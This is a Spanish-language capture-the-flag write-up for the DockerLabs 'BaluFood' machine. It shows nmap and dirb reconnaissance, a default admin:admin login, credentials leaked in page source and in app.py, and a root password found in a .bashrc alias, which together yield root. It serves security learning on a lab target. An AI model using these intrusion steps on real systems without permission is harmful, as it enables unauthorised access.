Post

BaluFood

Página web de un restaurante con data leakage y escalada de privilegios en linux con user pivoting.

BaluFood

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/balufood:-$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.089 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.089/0.089/0.089/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/dockerlabs/balufood:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv 172.17.0.2 -n -Pn -oG nmap1
Host: 172.17.0.2 ()     Status: Up
Host: 172.17.0.2 ()     Ports: 22/open/tcp//ssh///, 5000/open/tcp//upnp///      Ignored State: closed (65533)

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/home/kali/Documents/dockerlabs/balufood:-$ sudo nmap -sCV -p22,5000 -vvv 172.17.0.2 -oN nmap2
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 69:15:7d:34:74:1c:21:8a:cb:2c:a2:8c:42:a4:21:7f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD/+EOmj2PkB3JiPRNvx8CBhMsLP+MZtPK9LPbNWEGIA7AlkNX0go0NBQ5Ad0e7UCOnXW9knwgnOomFJDsLo/1o=
|   256 a7:3a:c9:b2:ac:cf:44:77:a7:9c:ab:89:98:c7:88:3f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL/Vvyg3NC9pIeabLUubEq3XuRQVxIIzh2sSxVeJjM57
5000/tcp open  http    syn-ack ttl 64 Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Restaurante Balulero - Inicio
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
2
/home/kali/Documents/dockerlabs/balufood:-$ whatweb 172.17.0.2:5000
http://172.17.0.2:5000 [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[172.17.0.2], Python[3.11.2], Script, Title[Restaurante Balulero - Inicio], Werkzeug[2.2.2]

Web Analysis & Data Leak Exploitation

El servicio web inicial presenta una interfaz simple con funcionalidades básicas visibles.

1
2
3
4
5
6
/home/kali/Documents/dockerlabs/balufood:-$ dirb http://172.17.0.2:5000/
---- Scanning URL: http://172.17.0.2:5000/ ----
+ http://172.17.0.2:5000/admin (CODE:302|SIZE:199)
+ http://172.17.0.2:5000/console (CODE:400|SIZE:167)
+ http://172.17.0.2:5000/login (CODE:200|SIZE:1850)
+ http://172.17.0.2:5000/logout (CODE:302|SIZE:189)

Pruebo autenticarme en /login con credenciales comunes y el par admin:admin permite acceder exitosamente al panel /admin.

Analizando el código fuente del panel /admin, identifico credenciales comentadas, sysadmin:backup123.

Estas credenciales permiten acceso por ssh como el usuario sysadmin.

1
2
/home/kali/Documents/dockerlabs/balufood:-$ ssh sysadmin@172.17.0.2 
sysadmin@172.17.0.2's password: backup123
1
2
sysadmin@6fa083db4c91:~$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),100(users)

User Pivoting

1
2
3
4
sysadmin@6fa083db4c91:~$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
sysadmin:x:1000:1000:sysadmin,sysadmin,,:/home/sysadmin:/bin/bash
balulero:x:1001:1001:balulero,,,:/home/balulero:/bin/bash

En el directorio /home/sysadmin se encuentra un archivo llamado app.py, que contiene una cadena que podría tratarse de una contraseña.

1
sysadmin@6fa083db4c91:~$ head app.py

La cadena se utiliza como contraseña del usuario balulero y permite autenticarse exitosamente.

1
2
sysadmin@6fa083db4c91:~$ su balulero
Password: cuidaditocuidadin
1
2
balulero@6fa083db4c91:/home$ id
uid=1001(balulero) gid=1001(balulero) groups=1001(balulero),100(users)

Privilege Escalation

Dentro del archivo .bashrc del usuario balulero, aparece definido un alias que permite ejecutar su - root utilizando una contraseña.

1
2
balulero@6fa083db4c91:~$ tail -n1 .bashrc
alias ser-root='echo chocolate2 | su - root'

La cadena chocolate2 corresponde a la contraseña del usuario root. De esta forma, la utilizo directamente para obtener una shell privilegiada.

1
2
3
4
5
balulero@6fa083db4c91:~$ su root
Password: chocolate2

root@6fa083db4c91:/home/balulero# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.